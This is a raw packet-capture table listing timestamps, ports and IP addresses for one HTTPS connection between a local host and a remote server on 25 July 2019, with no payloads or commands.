Jul 25, 2019 13:47:11.447545052 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.447670937 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.447808981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.447841883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.447871923 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.447894096 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.483632088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.483681917 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.483715057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.483741045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.483766079 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.483791113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.483814955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.483817101 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.483839989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.484536886 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.549180031 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.549232006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.549259901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.549427032 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.550051928 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.550095081 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.550124884 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.550154924 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.550185919 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.550187111 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.550215006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.550282001 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.586277962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.586323023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.586364985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.586405039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.586435080 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.586441040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.586781979 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.586815119 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.586890936 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.586908102 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.586920977 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.586950064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.587054968 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.652858973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.652901888 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.653049946 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.653228045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.653904915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.653930902 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.653945923 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.653959036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.653973103 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.654028893 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.654051065 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689110041 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689148903 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689280033 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.689372063 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689429045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689460039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689477921 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.689488888 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689517975 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689547062 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689570904 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.689574957 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689605951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.689711094 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.755273104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.755316019 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.756396055 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.756421089 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.756438971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.756454945 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.756496906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.756520987 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.757148027 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.791783094 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.791832924 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.791853905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.791870117 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.791893005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.791965961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.791980028 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.792005062 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.792032003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.792052984 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.792087078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.792109013 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.792110920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.792771101 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.859246016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.859288931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.859311104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.859332085 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.859369993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.859412909 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.859436035 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.859479904 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.859477997 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.859504938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.859622955 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.894606113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894700050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894745111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894771099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894800901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894853115 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894855976 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.894880056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894905090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894938946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894949913 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894964933 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.894994974 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.895240068 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.961683989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.961715937 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.961730957 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.961745024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.961774111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.961800098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.961808920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.961812973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.961941957 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.961978912 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997031927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997068882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997092009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997134924 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997184992 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997230053 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997256041 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997281075 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997304916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997323036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997339010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.997364998 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.997850895 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.064419985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.064497948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.064511061 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.064519882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.064555883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.064565897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.064582109 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.064596891 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.064773083 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.099720001 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.099771976 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.099792004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.099811077 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.099833012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.099855900 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.099905968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.099958897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.099998951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.100008011 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.100121021 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.100187063 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.100219965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.100281000 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.100471973 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.167289972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.167344093 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.167370081 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.167417049 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.167445898 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.167474985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.167516947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.167531967 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.167546034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.167573929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.167691946 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.202186108 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202229023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202267885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202311039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202336073 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202353954 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202375889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202397108 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202435970 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.202734947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202734947 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.202781916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202805996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202824116 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.202893972 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.269661903 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.269747972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.269777060 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.269817114 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.269880056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.269936085 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.269948959 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.269980907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.270030022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.270059109 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.270185947 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.304622889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304666996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304699898 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304713964 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304749012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304779053 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304806948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304887056 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.304896116 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304927111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304958105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.304999113 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.305011988 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.305042982 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.305283070 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.372756004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.372795105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.372821093 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.372840881 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.372872114 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.372905970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.372930050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.372967005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.373047113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.373142004 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.407124996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407181978 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407207012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407228947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407249928 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407273054 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407299995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407320976 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407341003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407412052 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407435894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407443047 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.407458067 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.407612085 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.414767981 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.475486040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.475513935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.475528955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.475543022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.475563049 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.475579977 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.475605965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.475615025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.475677967 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.476495028 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.509624004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.509677887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.509713888 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.509752035 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.509773970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.509794950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.509815931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.509843111 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.509856939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.509885073 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.509999990 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.510087967 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.518105984 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.518136024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.518151999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.518165112 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.518352985 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.577892065 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.577909946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.577941895 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.577956915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.577980995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.577999115 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.578052998 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.578455925 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.578476906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.578557014 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.612036943 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.612073898 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.612092018 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.612114906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.612138033 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.612159014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.612211943 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.612215996 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.612250090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.612284899 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.612339973 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.620507956 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.620549917 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.620579958 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.620613098 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.620618105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.620641947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.620738983 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.680217981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.680260897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.680282116 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.680314064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.680337906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.680432081 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.680912018 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.680939913 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.680958986 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.681329012 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.714721918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.714806080 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.714833021 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.714859962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.714884043 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.714906931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.714931965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.714956999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.714967012 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.714981079 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.715429068 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.722524881 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.722593069 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.722655058 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.722681999 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.722692013 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.722795010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.722923994 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.782614946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.782767057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.782819986 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.782860994 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.782898903 MESZ	443	50056	54.231.120.203	192.168.1.100
